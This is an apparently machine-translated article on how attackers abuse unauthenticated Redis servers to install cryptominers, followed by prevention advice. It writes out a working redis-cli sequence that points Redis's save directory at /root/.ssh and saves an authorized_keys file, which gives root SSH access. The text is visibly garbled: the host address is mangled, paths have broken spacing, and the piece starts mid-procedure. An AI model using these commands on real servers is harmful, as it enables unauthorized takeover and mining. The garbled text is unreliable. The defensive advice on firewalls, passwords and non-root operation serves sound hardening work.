How to analyze mining by exploiting redis unauthorized access loophole

Then configure Key to Redis, cat foo.txt | redis-cli-h 117.20.room.configuration *-x set bar

Then replace the system files through the Redis save mechanism.

> config set dir / root/.sshOK

> config get dir1) "dir" 2) "/ root/.ssh"

> config set dbfilename "authorized_keys" OK

> save

> exit

Two. Some necessary conditions for exploiting unauthorized vulnerabilities in redis:

(1) the redis service that needs to be open is open to the public. The password of Redis must not be too complex or have no password.

(2) redis service is best run as root users, which is more destructive.

Third, the harm of unauthorized access vulnerabilities in redis

(1). Leakage of data stored in redis

(2)。 Control the whole host after being granted the right

four。 How to prevent unauthorized vulnerabilities in redis from being exploited

To protect Redis servers from such attacks, it is recommended that administrators never expose their servers to Internet, but if necessary, apply authentication mechanisms to prevent unauthorized access.

In addition, because Redis does not use encryption and stores data in plain text, you should never store sensitive data on these servers.

The ideas of prevention are as follows:

(1) Redis do not listen on dangerous IP. If so, please add network firewall rule control.

(2) Redis must increase the password limit, and must not be a weak password

(3) under the LINUX system, Redis should not be started as a Root user. Do not run with system permission under Windows system

After reading the above, do you have any further understanding of how to analyze mining by exploiting unauthorized access vulnerabilities in redis? If you want to know more knowledge or related content, please follow the industry information channel, thank you for your support.